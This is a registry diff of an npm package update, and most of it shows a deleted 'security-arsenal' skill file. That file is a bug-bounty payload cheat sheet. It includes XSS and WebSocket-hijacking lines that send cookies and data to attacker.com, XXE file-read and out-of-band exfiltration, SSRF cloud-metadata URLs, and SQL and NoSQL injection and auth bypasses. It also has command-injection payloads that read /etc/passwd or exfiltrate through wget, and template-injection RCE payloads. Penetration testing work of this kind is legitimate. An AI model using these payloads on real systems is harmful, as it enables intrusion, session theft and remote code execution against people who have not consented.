@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,912 +0,0 @@
1
- ---
2
- name: security-arsenal
3
- description: Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, or bypass techniques. Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation.
4
- sources: community, public_research
5
- ---
6
-
7
- # SECURITY ARSENAL
8
-
9
- Payloads, bypass tables, wordlists, and submission rules.
10
-
11
- ---
12
-
13
- ## XSS PAYLOADS
14
-
15
- ### Basic Probes
16
- ```javascript
17
- <script>alert(document.domain)</script>
18
- <img src=x onerror=alert(document.domain)>
19
- <svg onload=alert(document.domain)>
20
- "><script>alert(1)</script>
21
- '><img src=x onerror=alert(1)>
22
- javascript:alert(document.domain)
23
- ```
24
-
25
- ### Cookie Theft (proof of impact)
26
- ```javascript
27
- <script>document.location='https://attacker.com/c?c='+document.cookie</script>
28
- <img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
29
- <script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
30
- ```
31
-
32
- ### CSP Bypass Techniques
33
- ```javascript
34
- // If unsafe-inline blocked — use fetch/XHR
35
- <img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
36
-
37
- // If script-src nonce present — find nonce reflection
38
- <script nonce="NONCE_FROM_PAGE">alert(1)</script>
39
-
40
- // Angular template injection (bypasses many CSPs)
41
- {{constructor.constructor('alert(1)')()}}
42
-
43
- // React dangerouslySetInnerHTML reflection
44
- // Vue v-html binding
45
-
46
- // mXSS (mutation-based XSS)
47
- <noscript><p title="</noscript><img src=x onerror=alert(1)>">
48
-
49
- // Polyglot (works in HTML/JS/CSS context)
50
- '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
51
- ```
52
-
53
- ### DOM XSS Sources and Sinks
54
- ```javascript
55
- // Sources (user-controlled input)
56
- location.hash
57
- location.search
58
- location.href
59
- document.referrer
60
- window.name
61
- document.URL
62
-
63
- // Sinks (dangerous)
64
- innerHTML = SOURCE
65
- outerHTML = SOURCE
66
- document.write(SOURCE)
67
- eval(SOURCE)
68
- setTimeout(SOURCE, ...) // string form
69
- setInterval(SOURCE, ...)
70
- new Function(SOURCE)
71
- element.src = SOURCE // javascript: URI
72
- element.href = SOURCE
73
- location.href = SOURCE
74
- ```
75
-
76
- ---
77
-
78
- ## SSRF PAYLOADS
79
-
80
- ### Cloud Metadata
81
- ```bash
82
- # AWS
83
- http://169.254.169.254/latest/meta-data/
84
- http://169.254.169.254/latest/meta-data/iam/security-credentials/
85
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
86
- http://169.254.169.254/latest/user-data/
87
- http://169.254.169.254/latest/dynamic/instance-identity/document
88
-
89
- # GCP
90
- http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
91
- # Header: Metadata-Flavor: Google
92
-
93
- # Azure IMDS
94
- http://169.254.169.254/metadata/instance?api-version=2021-02-01
95
- # Header: Metadata: true
96
- ```
97
-
98
- ### Internal Service Fingerprinting
99
- ```bash
100
- http://localhost:6379 # Redis (unauthenticated, RESP protocol)
101
- http://localhost:9200 # Elasticsearch (/_cat/indices)
102
- http://localhost:27017 # MongoDB (binary — check for connection refused vs timeout)
103
- http://localhost:8080 # Admin panel
104
- http://localhost:2375 # Docker API — GET /containers/json
105
- http://localhost:10.96.0.1:443 # Kubernetes API server
106
- ```
107
-
108
- ### SSRF IP Bypass Payloads
109
- ```bash
110
- # All of these map to 127.0.0.1:
111
- http://2130706433 # decimal
112
- http://0177.0.0.1 # octal
113
- http://0x7f.0x0.0x0.0x1 # hex
114
- http://127.1 # short form
115
- http://[::1] # IPv6 loopback
116
- http://[::ffff:127.0.0.1] # IPv4-mapped IPv6
117
- http://[::ffff:0x7f000001] # mixed hex IPv6
118
-
119
- # DNS rebinding: A→external, then resolves to internal after allowlist check
120
-
121
- # Redirect chain (Vercel pattern):
122
- # If filter only checks initial URL but follows redirects:
123
- http://allowed-domain.com/redirect?to=http://169.254.169.254/
124
- ```
125
-
126
- ---
127
-
128
- ## SQL INJECTION PAYLOADS
129
-
130
- ### Detection
131
- ```sql
132
- '
133
- ''
134
- `
135
- ')
136
- '))
137
- ' OR '1'='1
138
- ' OR 1=1--
139
- ' OR 1=1#
140
- ' UNION SELECT NULL--
141
- '; WAITFOR DELAY '0:0:5'-- -- MSSQL time-based
142
- '; SELECT SLEEP(5)-- -- MySQL time-based
143
- ' OR SLEEP(5)--
144
- ```
145
-
146
- ### Union-Based (determine column count)
147
- ```sql
148
- ' UNION SELECT NULL--
149
- ' UNION SELECT NULL,NULL--
150
- ' UNION SELECT NULL,NULL,NULL--
151
- ' UNION SELECT 'a',NULL,NULL--
152
- ```
153
-
154
- ### Blind SQLi (time-based confirmation)
155
- ```sql
156
- # MySQL
157
- ' AND SLEEP(5)--
158
- # PostgreSQL
159
- ' AND pg_sleep(5)--
160
- # MSSQL
161
- '; WAITFOR DELAY '0:0:5'--
162
- # Oracle
163
- ' AND 1=dbms_pipe.receive_message('a',5)--
164
- ```
165
-
166
- ### WAF Bypass
167
- ```sql
168
- /*!50000 SELECT*/ * FROM users -- MySQL inline comment
169
- SE/**/LECT * FROM users -- comment injection
170
- SeLeCt * FrOm uSeRs -- case variation
171
- %27 OR %271%27=%271 -- URL encoding
172
- ʼ OR ʼ1ʼ=ʼ1 -- Unicode apostrophe
173
- ```
174
-
175
- ---
176
-
177
- ## XXE PAYLOADS
178
-
179
- ### Classic File Read
180
- ```xml
181
- <?xml version="1.0"?>
182
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
183
- <foo>&xxe;</foo>
184
- ```
185
-
186
- ### Blind OOB via HTTP (DNS confirmation)
187
- ```xml
188
- <?xml version="1.0"?>
189
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
190
- <foo>&xxe;</foo>
191
- ```
192
-
193
- ### Blind OOB via DNS + Data Exfil
194
- ```xml
195
- <?xml version="1.0"?>
196
- <!DOCTYPE foo [
197
- <!ENTITY % data SYSTEM "file:///etc/passwd">
198
- <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
199
- %param1;
200
- ]>
201
- <foo>&exfil;</foo>
202
- ```
203
-
204
- ### XXE via DOCX/SVG/PDF Upload
205
- - SVG: `<image href="file:///etc/passwd" />`
206
- - DOCX: malicious XML in `word/document.xml` with external entity
207
-
208
- ---
209
-
210
- ## PATH TRAVERSAL PAYLOADS
211
-
212
- ```bash
213
- ../../../etc/passwd
214
- ....//....//....//etc/passwd
215
- ..%2F..%2F..%2Fetc%2Fpasswd
216
- %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
217
- ..%252f..%252f..%252fetc%252fpasswd # double URL encoding
218
- /etc/passwd%00.jpg # null byte truncation
219
- ....\/....\/etc/passwd # mix of separators
220
- ```
221
-
222
- ---
223
-
224
- ## IDOR / AUTH BYPASS PAYLOADS
225
-
226
- ### Horizontal Privilege Escalation
227
- ```bash
228
- # Change numeric ID
229
- GET /api/user/123/profile → GET /api/user/124/profile
230
-
231
- # Change UUID (find victim UUID via other endpoints)
232
- GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...
233
-
234
- # HTTP method swap
235
- PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)
236
-
237
- # Old API version
238
- GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)
239
-
240
- # Add parameter
241
- GET /api/orders → GET /api/orders?user_id=456
242
- ```
243
-
244
- ### Vertical Privilege Escalation
245
- ```bash
246
- # Parameter pollution
247
- POST /api/user/update
248
- {"role": "admin"}
249
- {"isAdmin": true}
250
- {"admin": 1}
251
-
252
- # Hidden fields
253
- <input type="hidden" name="admin" value="true">
254
- # Change in Burp before sending
255
-
256
- # GraphQL introspection → find admin mutations
257
- {"query": "{ __schema { types { name fields { name } } } }"}
258
- ```
259
-
260
- ---
261
-
262
- ## AUTHENTICATION BYPASS PAYLOADS
263
-
264
- ### JWT Attacks
265
- ```bash
266
- # None algorithm
267
- # Decode JWT, change alg to "none", remove signature
268
- import base64, json
269
- header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
270
- payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
271
- token = f"{header}.{payload}."
272
-
273
- # Secret bruteforce
274
- hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
275
- ```
276
-
277
- ### OAuth Attacks
278
- ```bash
279
- # Missing PKCE test
280
- GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
281
- # No code_challenge → check if 302 (not error) = PKCE not enforced
282
-
283
- # State parameter check
284
- GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
285
- # Missing/static state parameter = CSRF on OAuth = account linkage attack
286
- ```
287
-
288
- ---
289
-
290
- ## NOSQL INJECTION PAYLOADS (MongoDB)
291
-
292
- ### Operator Injection (JSON body)
293
- ```json
294
- {"username": {"$ne": null}, "password": {"$ne": null}}
295
- {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
296
- {"username": "admin", "password": {"$gt": ""}}
297
- {"$where": "this.username == 'admin'"}
298
- {"username": {"$in": ["admin", "root", "administrator"]}}
299
- ```
300
-
301
- ### GET Parameter Injection
302
- ```bash
303
- # URL parameter injection
304
- /login?username[$ne]=null&password[$ne]=null
305
- /login?username[$regex]=.*&password[$regex]=.*
306
- /login?username=admin&password[$gt]=
307
-
308
- # MongoDB operator reference:
309
- # $ne = not equal (bypass: value != null = any value matches)
310
- # $gt = greater than (bypass: "" < any string)
311
- # $regex = regex match (bypass: .* = anything)
312
- # $where = JS expression (RCE potential on older MongoDB)
313
- ```
314
-
315
- ### Auth Bypass One-Liners
316
- ```bash
317
- curl -s -X POST https://target.com/api/login \
318
- -H "Content-Type: application/json" \
319
- -d '{"username":{"$ne":null},"password":{"$ne":null}}'
320
-
321
- # URL-encoded for GET forms:
322
- # username%5B%24ne%5D=null&password%5B%24ne%5D=null
323
- ```
324
-
325
- ---
326
-
327
- ## COMMAND INJECTION PAYLOADS
328
-
329
- ### Basic Detection
330
- ```bash
331
- ; id
332
- | id
333
- ` id `
334
- $(id)
335
- && id
336
- || id
337
- ; sleep 5
338
- | sleep 5
339
- $(sleep 5)
340
- `sleep 5`
341
- ```
342
-
343
- ### Blind OOB (out-of-band confirmation)
344
- ```bash
345
- ; curl https://attacker.burpcollaborator.net
346
- ; nslookup attacker.burpcollaborator.net
347
- $(nslookup attacker.burpcollaborator.net)
348
- `ping -c 1 attacker.burpcollaborator.net`
349
- ; wget https://attacker.com/$(id|base64)
350
- ```
351
-
352
- ### Bypass Techniques
353
- ```bash
354
- # Bypass space filter
355
- ;{cat,/etc/passwd}
356
- ;cat${IFS}/etc/passwd
357
- ;cat$IFS/etc/passwd
358
- ;IFS=,;cat,/etc/passwd
359
-
360
- # Bypass keyword filter (cat, id blocked)
361
- # Obfuscate with quotes
362
- ;c'a't /etc/passwd
363
- ;c"a"t /etc/passwd
364
- ;$(printf '\x63\x61\x74') /etc/passwd
365
-
366
- # Bypass via env
367
- ;$BASH -c 'id'
368
- ;${IFS}id
369
-
370
- # Windows-specific
371
- & dir
372
- | type C:\Windows\win.ini
373
- & ping -n 1 attacker.com
374
- ```
375
-
376
- ### Context-Specific (filename injection)
377
- ```bash
378
- # File upload filenames
379
- test.jpg; id
380
- test$(id).jpg
381
- test`id`.jpg
382
- ../test.jpg
383
- ../../../../../../etc/passwd
384
- ```
385
-
386
- ---
387
-
388
- ## SSTI DETECTION PAYLOADS (All Engines)
389
-
390
- ### Universal Probe (send all, observe which evaluate)
391
- ```
392
- {{7*7}} → 49 = Jinja2 (Python) or Twig (PHP)
393
- ${7*7} → 49 = Freemarker (Java) or Spring EL
394
- <%= 7*7 %> → 49 = ERB (Ruby) or EJS (Node.js)
395
- #{7*7} → 49 = Mako (Python) or Pebble (Java)
396
- *{7*7} → 49 = Spring Thymeleaf
397
- {{7*'7'}} → 7777777 = Jinja2 (not Twig — Twig gives 49)
398
- ${"freemarker.template.utility.Execute"?new()("id")} → Freemarker RCE
399
- ```
400
-
401
- ### RCE Payloads by Engine
402
-
403
- **Jinja2 (Python/Flask/Django):**
404
- ```python
405
- {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
406
- {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
407
- {{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
408
- ```
409
-
410
- **Twig (PHP/Symfony):**
411
- ```php
412
- {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
413
- {{['id']|filter('system')}}
414
- ```
415
-
416
- **Freemarker (Java):**
417
- ```
418
- ${"freemarker.template.utility.Execute"?new()("id")}
419
- <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
420
- ```
421
-
422
- **ERB (Ruby on Rails):**
423
- ```ruby
424
- <%= `id` %>
425
- <%= system("id") %>
426
- <%= IO.popen('id').read %>
427
- ```
428
-
429
- **Spring Thymeleaf:**
430
- ```java
431
- ${T(java.lang.Runtime).getRuntime().exec('id')}
432
- __${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
433
- ```
434
-
435
- **EJS (Node.js):**
436
- ```javascript
437
- <%= process.mainModule.require('child_process').execSync('id') %>
438
- ```
439
-
440
- ### Where to Test
441
- ```
442
- Name/bio/username fields, email subject templates, invoice/PDF generators,
443
- URL path parameters reflected in page, error messages, search query reflections,
444
- HTTP headers that appear in rendered responses, notification templates
445
- ```
446
-
447
- ---
448
-
449
- ## HTTP SMUGGLING PAYLOADS
450
-
451
- ### CL.TE — Content-Length front-end, Transfer-Encoding back-end
452
- ```http
453
- POST / HTTP/1.1
454
- Host: target.com
455
- Content-Length: 13
456
- Transfer-Encoding: chunked
457
-
458
- 0
459
-
460
- SMUGGLED
461
- ```
462
-
463
- ### TE.CL — Transfer-Encoding front-end, Content-Length back-end
464
- ```http
465
- POST / HTTP/1.1
466
- Host: target.com
467
- Transfer-Encoding: chunked
468
- Content-Length: 3
469
-
470
- 8
471
- SMUGGLED
472
- 0
473
-
474
-
475
- ```
476
-
477
- ### TE.TE — Both support Transfer-Encoding, obfuscate to disable one
478
- ```http
479
- # Obfuscate the TE header so one layer ignores it
480
- Transfer-Encoding: xchunked
481
- Transfer-Encoding: chunked
482
- Transfer-Encoding: chunked
483
- Transfer-Encoding: x
484
-
485
- Transfer-Encoding:[tab]chunked
486
- [space]Transfer-Encoding: chunked
487
- X: X[\n]Transfer-Encoding: chunked
488
- Transfer-Encoding
489
- : chunked
490
- ```
491
-
492
- ### H2.CL — HTTP/2 front-end with Content-Length injection
493
- ```
494
- # In Burp Repeater, switch to HTTP/2
495
- # Add Content-Length header manually (not auto-set by HTTP/2)
496
- # Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
497
- # Back-end uses CL → desync
498
- ```
499
-
500
- ### Detection (Burp)
501
- ```
502
- 1. Install HTTP Request Smuggler extension
503
- 2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
504
- 3. All four probe types automatically sent
505
- 4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
506
- ```
507
-
508
- ### Impact Chain
509
- ```
510
- Basic desync → Capture victim's next request → Read their auth token
511
- + Admin user traffic → Access admin as victim
512
- + Cache poisoning → Stored XSS at scale for all users
513
- ```
514
-
515
- ---
516
-
517
- ## WEBSOCKET PAYLOADS
518
-
519
- ### IDOR / Auth Bypass
520
- ```javascript
521
- // Test: subscribe to other user's channel
522
- {"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
523
- {"action": "get_history", "userId": "VICTIM_UUID"}
524
- {"action": "getProfile", "id": 2}
525
- {"action": "admin.listUsers"}
526
- {"action": "admin.getToken", "userId": "1"}
527
- ```
528
-
529
- ### Cross-Site WebSocket Hijacking (CSWSH)
530
- ```html
531
- <!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
532
- <script>
533
- var ws = new WebSocket('wss://target.com/ws');
534
- // Browser automatically sends victim's cookies
535
- ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
536
- ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
537
- </script>
538
- ```
539
-
540
- ### Test Origin Validation
541
- ```bash
542
- # Should reject non-target origins. If it doesn't = CSWSH vulnerability
543
- wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
544
- wscat -c "wss://target.com/ws" -H "Origin: null"
545
- wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
546
- ```
547
-
548
- ### Injection via WS Messages
549
- ```javascript
550
- // XSS in chat/notification system
551
- {"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}
552
-
553
- // SQLi
554
- {"action": "search", "query": "' OR 1=1--"}
555
-
556
- // SSRF (if server fetches URLs from messages)
557
- {"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}
558
- ```
559
-
560
- ---
561
-
562
